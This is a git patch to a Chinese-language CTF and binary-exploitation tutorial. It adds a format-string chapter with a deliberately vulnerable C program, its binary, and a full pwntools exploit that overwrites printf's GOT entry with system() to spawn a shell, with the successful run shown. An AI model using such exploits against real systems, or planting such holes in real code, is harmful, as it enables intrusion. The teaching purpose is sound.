From 0b9bc02dd89393fe4fa2932f7e0923d41180d121 Mon Sep 17 00:00:00 2001 From: firmianay Date: Wed, 23 Aug 2017 20:36:52 +0800 Subject: [PATCH] update format string --- doc/2.1_vm.md | 6 +- doc/2.2_gdb&peda.md | 4 +- doc/3.3.1_format_string.md | 110 +++++++++++++++++++++++++++++++++++++ doc/4.3_gcc.md | 54 +++++++++++++++++- src/Others/3.3.1_fmt | Bin 0 -> 7272 bytes src/Others/3.3.1_fmt.c | 10 ++++ 6 files changed, 178 insertions(+), 6 deletions(-) create mode 100755 src/Others/3.3.1_fmt create mode 100644 src/Others/3.3.1_fmt.c diff --git a/doc/2.1_vm.md b/doc/2.1_vm.md index 8d2ae58..4174454 100644 --- a/doc/2.1_vm.md +++ b/doc/2.1_vm.md @@ -19,7 +19,11 @@ skanlite cantata kdenlive konversation libreoffice-still thunderbird-kde k3b cup yaourt -S: -virtualbox tree git ipython ipython2 gdb google-chrome tcpdump vim wireshark-qt edb ssdeep wps-office strace metasploit pwntools peda oh-my-zsh-git +virtualbox tree git ipython ipython2 gdb google-chrome tcpdump vim wireshark-qt edb ssdeep wps-office strace metasploit pwntools peda oh-my-zsh-git radare2 binwalk burpsuite checksec + +pip3/pip2 install: + +r2pipe ``` diff --git a/doc/2.2_gdb&peda.md b/doc/2.2_gdb&peda.md index 2bedb9a..dc1673c 100644 --- a/doc/2.2_gdb&peda.md +++ b/doc/2.2_gdb&peda.md @@ -4,7 +4,7 @@ - [gdb 基本工作原理](#gdb-基本工作原理) - [gdb 基本操作](#gdb-基本操作) - [gdb-peda](#gdb-peda) -- [GEF/pwngdb](#gefpwngdb) +- [GEF/pwndbg](#gefpwndbg) ## gdb 的组成架构 @@ -80,7 +80,7 @@ $ echo "DONE! debug your program with gdb and enjoy" - `xormem` - 用一个 key 来对一个内存区域执行 XOR 操作 -## GEF/pwngdb +## GEF/pwndbg 除了 peda 外还有一些优秀的 gdb 增强工具,功能大致相同,可以看情况选用。 - [GEF](https://github.com/hugsy/gef) - Multi-Architecture GDB Enhanced Features for Exploiters & Reverse-Engineers - [pwndbg](https://github.com/pwndbg/pwndbg) - Exploit Development and Reverse Engineering with GDB Made Easy diff --git a/doc/3.3.1_format_string.md b/doc/3.3.1_format_string.md index 0daee39..ff8d07a 100644 --- a/doc/3.3.1_format_string.md +++ b/doc/3.3.1_format_string.md @@ -7,9 +7,11 @@ ## 格式化输出函数和格式字符串 + 在 C 语言基础章节中,我们详细介绍了格式化输出函数和格式化字符串的内容。在开始探索格式化字符串漏洞之前,强烈建议回顾该章节。这里我们简单回顾几个常用的。 #### 函数 + ```c #include @@ -21,6 +23,7 @@ int snprintf(char *str, size_t size, const char *format, ...); ``` #### 转换指示符 + 字符 | 类型 | 使用 --- | --- | --- d | 4-byte | Integer @@ -30,6 +33,7 @@ s | 4-byte ptr | String c | 1-byte | Character #### 长度 + 字符 | 类型 | 使用 --- | --- | --- hh | 1-byte | char @@ -38,6 +42,7 @@ l | 4-byte | long int ll | 8-byte | long long int #### 示例 + ``` #include #include @@ -57,6 +62,7 @@ printf("%s%n", "01234", &n); // n = 5 ## 格式化字符串漏洞基本原理 + 在 x86 结构下,格式字符串的参数是通过栈传递的,看一个例子: ```c #include @@ -265,9 +271,11 @@ Hello 32 f7f95580 565555f4 ! ## 格式化字符串漏洞 + 通过提供和格式字符串,我们就能够控制格式化函数的行为。漏洞的利用主要有下面几种。 #### 使程序崩溃 + 格式话字符串漏洞通常要在程序崩溃时才会被发现,所以利用格式化字符串漏洞最简单的方式就是使进程崩溃。在 Linux 中,存取无效的指针会引起进程收到 `SIGSEGV` 信号,从而使程序非正常终止并产生核心转储(在 Linux 基础的章节中详细介绍了核心转储)。我们知道核心转储中存储了程序崩溃时的许多重要信息,这些信息正是攻击者所需要的。 利用类似下面的格式字符串即可触发漏洞: @@ -279,6 +287,7 @@ printf("%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s") - 还有可能获得的数字确实是一个地址,但是该地址是被保护的。 #### 查看栈内容 + 使程序崩溃只是验证漏洞的第一步,攻击者还可以利用格式化输出函数来获得内存的内容,为下一步漏洞利用做准备。 @@ -290,3 +299,104 @@ printf("%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s") ## CTF 中的格式化字符串漏洞 + +#### pwntools pwnlib.fmtster + +文档地址:http://pwntools.readthedocs.io/en/stable/fmtstr.html + +该模块提供了一些字符串漏洞利用的工具。该模块中定义了一个类 `FmtStr` 和一个函数 `fmtstr_payload`。 + +`FmtStr` 提供了自动化的字符串漏洞利用: +```python +class pwnlib.fmtstr.FmtStr(execute_fmt, offset=None, padlen=0, numbwritten=0) +``` +- execute_fmt (function):与漏洞进程进行交互的函数 +- offset (int):你控制的第一个格式化程序的偏移量 +- padlen (int):在 paylod 之前添加的 pad 的大小 +- numbwritten (int):已经写入的字节数 + +`fmtstr_payload` 用于自动生成格式化字符串 paylod: +```python +pwnlib.fmtstr.fmtstr_payload(offset, writes, numbwritten=0, write_size='byte') +``` +- offset (int):你控制的第一个格式化程序的偏移量 +- writes (dict):格式为 {addr: value, addr2: value2},用于往 addr 里写入 value 的值(常用:{printf_got}) +- numbwritten (int):已经由 printf 函数写入的字节数 +- write_size (str):必须是 byte,short 或 int。告诉你是要逐 byte 写,逐 short 写还是逐 int 写(hhn,hn或n) + +我们通过一个例子来熟悉下该模块的使用:[fmt.c](../src/Others/3.3.1_fmt.c) [fmt](../src/Other/3.3.1_fmt) +```c +#include +void main() { + char str[1024]; + while(1) { + memset(str, '\0', 1024); + read(0, str, 1024); + printf(str); + fflush(stdout); + } +} +``` + +为了简单一点,我们关闭 ASLR,并使用下面的命令编译: +``` +# echo 0 > /proc/sys/kernel/randomize_va_space +$ gcc -m32 -fno-stack-protector -no-pie fmt.c +``` + +很明显,程序存在格式化字符串漏洞,我们的思路是将 `printf()` 函数的地址改成 `system()` 函数的地址,这样当我们再次输入 `/bin/sh` 时,就可以获得 shell 了。 + +使用 gdb 调试,先在 `main` 处下断点,运行程序,这时 libc 已经被加载进来了,则可以打印出 `system()` 函数的地址: +```text +gdb-peda$ b main +... +gdb-peda$ r +... +gdb-peda$ p system +$1 = {} 0xf7e17060 +``` + +完整漏洞利用代码如下: +```python +from pwn import * + +elf = ELF('./a.out') +r = process('./a.out') + +def exec_fmt(payload): + r.sendline(payload) + info = r.recv() + return info +auto = FmtStr(exec_fmt) +offset = auto.offset + +print_got = elf.got['printf'] +log.success("print_got => {}".format(hex(print_got))) + +system_addr = 0xf7e17060 +log.success("system_addr => {}".format(hex(system_addr))) + +payload = fmtstr_payload(offset, {print_got : system_addr}) +r.send(payload) +r.send('/bin/sh') +r.recv() +r.interactive() +``` + +这样就获得了 shell: +```text +$ python2 exp.py +[*] '/home/firmy/Desktop/RE4B/a.out' + Arch: i386-32-little + RELRO: Partial RELRO + Stack: No canary found + NX: NX enabled + PIE: No PIE (0x8048000) +[+] Starting local process './a.out': pid 15698 +[*] Found format string offset: 4 +[+] print_got => 0x804a010 +[+] system_addr => 0xf7e17060 +[*] Switching to interactive mode +$ echo "hacked!" +hacked! +``` diff --git a/doc/4.3_gcc.md b/doc/4.3_gcc.md index 4008592..6e3c57e 100644 --- a/doc/4.3_gcc.md +++ b/doc/4.3_gcc.md @@ -145,7 +145,7 @@ Partial RELRO Canary found NX enabled PIE enabled No RPATH No RU No-eXecute,表示不可执行,其原理是将数据所在的内存页标识为不可执行,如果程序产生溢出转入执行 shellcode 时,CPU 会抛出异常。其绕过方法是 ret2libc。 #### PIE -PIE(Position Independent Executable)需要配合 ASLR 来使用,以达到可执行文件的加载时地址随机化。简单来说,PIE 是编译时随机化,由编译器完成;ASLR 是加载时随机化,由操作系统完成。 +PIE(Position Independent Executable)需要配合 ASLR 来使用,以达到可执行文件的加载时地址随机化。简单来说,PIE 是编译时随机化,由编译器完成;ASLR 是加载时随机化,由操作系统完成。开启 PIE 时,编译生成的是动态库文件(Shared object)文件,而关闭 PIE 后生成可执行文件(Executable)。 我们通过实际例子来探索一下 PIE 和 ASLR: ```c @@ -154,6 +154,54 @@ void main() { printf("%p\n", main); } ``` +```text +$ gcc -m32 -pie random.c -o open-pie +$ readelf -h open-pie +ELF Header: + Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 + Class: ELF32 + Data: 2's complement, little endian + Version: 1 (current) + OS/ABI: UNIX - System V + ABI Version: 0 + Type: DYN (Shared object file) + Machine: Intel 80386 + Version: 0x1 + Entry point address: 0x400 + Start of program headers: 52 (bytes into file) + Start of section headers: 6132 (bytes into file) + Flags: 0x0 + Size of this header: 52 (bytes) + Size of program headers: 32 (bytes) + Number of program headers: 9 + Size of section headers: 40 (bytes) + Number of section headers: 30 + Section header string table index: 29 +$ gcc -m32 -no-pie random.c -o close-pie +$ readelf -h close-pie +ELF Header: + Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 + Class: ELF32 + Data: 2's complement, little endian + Version: 1 (current) + OS/ABI: UNIX - System V + ABI Version: 0 + Type: EXEC (Executable file) + Machine: Intel 80386 + Version: 0x1 + Entry point address: 0x8048310 + Start of program headers: 52 (bytes into file) + Start of section headers: 5964 (bytes into file) + Flags: 0x0 + Size of this header: 52 (bytes) + Size of program headers: 32 (bytes) + Number of program headers: 9 + Size of section headers: 40 (bytes) + Number of section headers: 30 + Section header string table index: 29 +``` +可以看到两者的不同在 `Type` 和 `Entry point address`。 + 首先我们关闭 ASLR,使用 `-pie` 进行编译: ```text # echo 0 > /proc/sys/kernel/randomize_va_space @@ -261,11 +309,11 @@ RELRO | -z now | -z lazy | -z norelro 关闭所有保护: ```text -gcc hello.c -o hello-L -fstack-protector -z execstack -no-pie -z norelro +gcc hello.c -o hello -fno-stack-protector -z execstack -no-pie -z norelro ``` 开启所有保护: ```text -gcc hello.c -o hello-S -fstack-protector-all -z noexecstack -pie -z now +gcc hello.c -o hello -fstack-protector-all -z noexecstack -pie -z now ``` - FORTIFY diff --git a/src/Others/3.3.1_fmt b/src/Others/3.3.1_fmt new file mode 100755 index 0000000000000000000000000000000000000000..c7baaba68286e10d08204578c8a7d454e8c187ca GIT binary patch literal 7272 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 V*F^1?-+8y*NtB^AS_ql${u`y6t4sg@ literal 0 HcmV?d00001 diff --git a/src/Others/3.3.1_fmt.c b/src/Others/3.3.1_fmt.c new file mode 100644 index 0000000..b48d71a --- /dev/null +++ b/src/Others/3.3.1_fmt.c @@ -0,0 +1,10 @@ +#include +void main() { + char str[1024]; + while(1) { + memset(str, '\0', 1024); + read(0, str, 1024); + printf(str); + fflush(stdout); + } +}